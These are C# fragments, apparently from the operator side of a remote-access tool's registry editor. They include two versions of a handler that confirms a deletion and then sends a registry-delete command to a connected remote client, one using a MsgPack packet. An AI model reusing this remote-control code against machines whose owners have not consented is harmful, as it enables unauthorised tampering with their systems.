private void deleteRegistryValue_Click(object sender, EventArgs e) { //Prompt user to confirm delete string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?"); string caption = "Confirm Value Delete"; var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); if (answer == DialogResult.Yes) { foreach (var item in lstRegistryValues.SelectedItems) { if (item.GetType() == typeof(RegistryValueLstItem)) { RegistryValueLstItem registyValue = (RegistryValueLstItem)item; _connectClient.Send(new DoDeleteRegistryValue { KeyPath = tvRegistryDirectory.SelectedNode.FullPath, ValueName = registyValue.RegName }); } } } }
private void OnValueCreatedEventHandler(RegistryEditorAdapterHandler adapterHandler, string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); if (key != null) { List <RegValueData> valuesFromNode = ((RegValueData[])key.Tag).ToList(); valuesFromNode.Add(value); key.Tag = valuesFromNode.ToArray(); if (tvRegistryDirectory.SelectedNode == key) { RegistryValueLstItem item = new RegistryValueLstItem(value); lstRegistryValues.Items.Add(item); //Unselect all lstRegistryValues.SelectedIndices.Clear(); item.Selected = true; lstRegistryValues.LabelEdit = true; item.BeginEdit(); } tvRegistryDirectory.SelectedNode = key; } }
private void deleteRegistryValue_Click(object sender, EventArgs e) { //Prompt user to confirm delete string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?"); string caption = "Confirm Value Delete"; var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); if (answer == DialogResult.Yes) { foreach (var item in lstRegistryValues.SelectedItems) { if (item.GetType() == typeof(RegistryValueLstItem)) { RegistryValueLstItem registryValue = (RegistryValueLstItem)item; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; msgpack.ForcePathObject("Command").AsString = "DeleteRegistryValue"; msgpack.ForcePathObject("KeyPath").AsString = tvRegistryDirectory.SelectedNode.FullPath; msgpack.ForcePathObject("ValueName").AsString = registryValue.RegName; ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } }